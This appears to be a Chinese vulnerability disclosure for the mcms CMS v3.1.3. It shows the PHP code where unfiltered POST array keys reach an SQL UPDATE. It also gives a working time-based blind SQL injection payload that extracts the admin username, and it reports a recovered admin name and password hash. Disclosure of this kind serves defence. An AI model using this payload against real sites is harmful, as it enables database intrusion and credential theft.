### 简要描述: mcms最新版SQL注入(可出任意数据) ### 详细说明: 掌易科技的程序员反应相当快啊,确认漏洞当天就修复以后出新版本了,前面在wooyun提的几个漏洞新版的mcms做了相应的处理,发布了新版v_3.1.3.enterprise,再来研究研究。 注入一枚:POST /app/public/adv.php?m=save_all post中有6个参数存在注入。首先说明一下,这里POST的参数是一个二维数组,然后直接把第二维的数组代入了SQL执行,虽然使用了过滤函数,但是过滤函数对KEY无效。因此整个第二维数组的key都存在注入,而这里使用的表是mcms_adv,有area_id,title,area_type,area_remarks,area_html,area_status,这6个参数均可注入,看代码吧 ``` function m__save_all() { global $dbm; $_GET=H::sqlxss($_GET); $_POST=H::sqlxss($_POST); $_POST['params'] = isset($_POST['params']) ? $_POST['params'] : array(); $id_str = ''; foreach($_POST['params'] as $v) { unset($v[0]); $area_id = $v['id']; unset($v['id']); $v['area_type'] = $v['area_type'.$area_id]; unset($v['area_type'.$area_id]); $v['area_status'] = $v['area_status'.$area_id]; unset($v['area_status'.$area_id]); if($v['title'] == '') continue; if($v['area_type'] == 'code') { $rs = $dbm->single_del(TB_PRE.'adv_img','area_id='.$area_id); if($rs['error']) continue; } $rs =...
### 简要描述: mcms最新版SQL注入(可出任意数据) ### 详细说明: 掌易科技的程序员反应相当快啊,确认漏洞当天就修复以后出新版本了,前面在wooyun提的几个漏洞新版的mcms做了相应的处理,发布了新版v_3.1.3.enterprise,再来研究研究。 注入一枚:POST /app/public/adv.php?m=save_all post中有6个参数存在注入。首先说明一下,这里POST的参数是一个二维数组,然后直接把第二维的数组代入了SQL执行,虽然使用了过滤函数,但是过滤函数对KEY无效。因此整个第二维数组的key都存在注入,而这里使用的表是mcms_adv,有area_id,title,area_type,area_remarks,area_html,area_status,这6个参数均可注入,看代码吧 ``` function m__save_all() { global $dbm; $_GET=H::sqlxss($_GET); $_POST=H::sqlxss($_POST); $_POST['params'] = isset($_POST['params']) ? $_POST['params'] : array(); $id_str = ''; foreach($_POST['params'] as $v) { unset($v[0]); $area_id = $v['id']; unset($v['id']); $v['area_type'] = $v['area_type'.$area_id]; unset($v['area_type'.$area_id]); $v['area_status'] = $v['area_status'.$area_id]; unset($v['area_status'.$area_id]); if($v['title'] == '') continue; if($v['area_type'] == 'code') { $rs = $dbm->single_del(TB_PRE.'adv_img','area_id='.$area_id); if($rs['error']) continue; } $rs = $dbm->single_update(TB_PRE.'adv',$v,'area_id='.$area_id); $id_str .= $id_str == '' ? $area_id : ','.$area_id; } logs('编辑广告位 ('.$id_str.')',7); die('{"code":"0","msg":"操作成功"}'); } ``` 使用sqlxss()过滤,但是对KEY无效,代码如下 ``` public static function sqlxss($input){ if(is_array($input)){ foreach($input as $k=>$v){ $input[$k]=H::sqlxss($v); } }else{ $input=H::escape($input,1); $input=htmlspecialchars($input,ENT_QUOTES); } return $input; } ``` 对用户输入的内容先用H::escape过滤,再用htmlspecialchars过滤,我们再去看看H::escape ``` public static function escape($input, $urldecode = 0) { if(is_array($input)){ foreach($input as $k=>$v){ $input[$k]=H::escape($v,$urldecode); } }else{ $input=trim($input); if ($urldecode == 1) { $input=str_replace(array('+'),array('{addplus}'),$input); $input = urldecode($input); $input=str_replace(array('{addplus}'),array('+'),$input); } // PHP版本大于5.4.0,直接转义字符 if (strnatcasecmp(PHP_VERSION, '5.4.0') >= 0) { $input = addslashes($input); } else { // 魔法转义没开启,自动加反斜杠 if (!get_magic_quotes_gpc()) { $input = addslashes($input); } } } //防止最后一个反斜杠引起SQL错误如 'abc\' if(substr($input,-1,1)=='\\') $input=$input."'";//$input=substr($input,0,strlen($input)-1); return $input; } ``` 虽然有以上的过滤,但是这几次过滤都没有对传入数组KEY进行过滤,而且是把用户传入的数组直接带入sql执行,并没有检查key是不是数据库的字段值。因此,这里的数组库的每个字段(用户传入数组的key)存在注入。 Payload:POST提交 ``` params[0][]=¶ms[0][title]=%E6%89%8B%E6%9C%BA%E7%89%88%E5%B9%BB%E7%81%AF¶ms[0][area_type`%3d''/**/or/**/(select/**/if(ord(mid((select/**/login_name/**/from/**/mcms_user/**/limit/**/0,1),1,1))%3d108,sleep(1),0))/**/or/**/''#/**/]=img¶ms[0][area_remarks]=%E5%AE%BD320*%E9%AB%98160¶ms[0][area_status3]=1¶ms[0][id]=test ``` 因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,不延迟,如下图 [<img src="https://images.seebug.org/upload/201504/20234432b6ef11c246ff6e578067faa2d19407a9.jpg" alt="错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/20234432b6ef11c246ff6e578067faa2d19407a9.jpg) 若正确,延迟,如下图 [<img src="https://images.seebug.org/upload/201504/202344475c0b0387cbdf4be11505538e3fa9e0a6.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/202344475c0b0387cbdf4be11505538e3fa9e0a6.jpg) 按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: f6fdffe48c908deb0f4c3bd36c032e72 ### 漏洞证明: 见 详细说明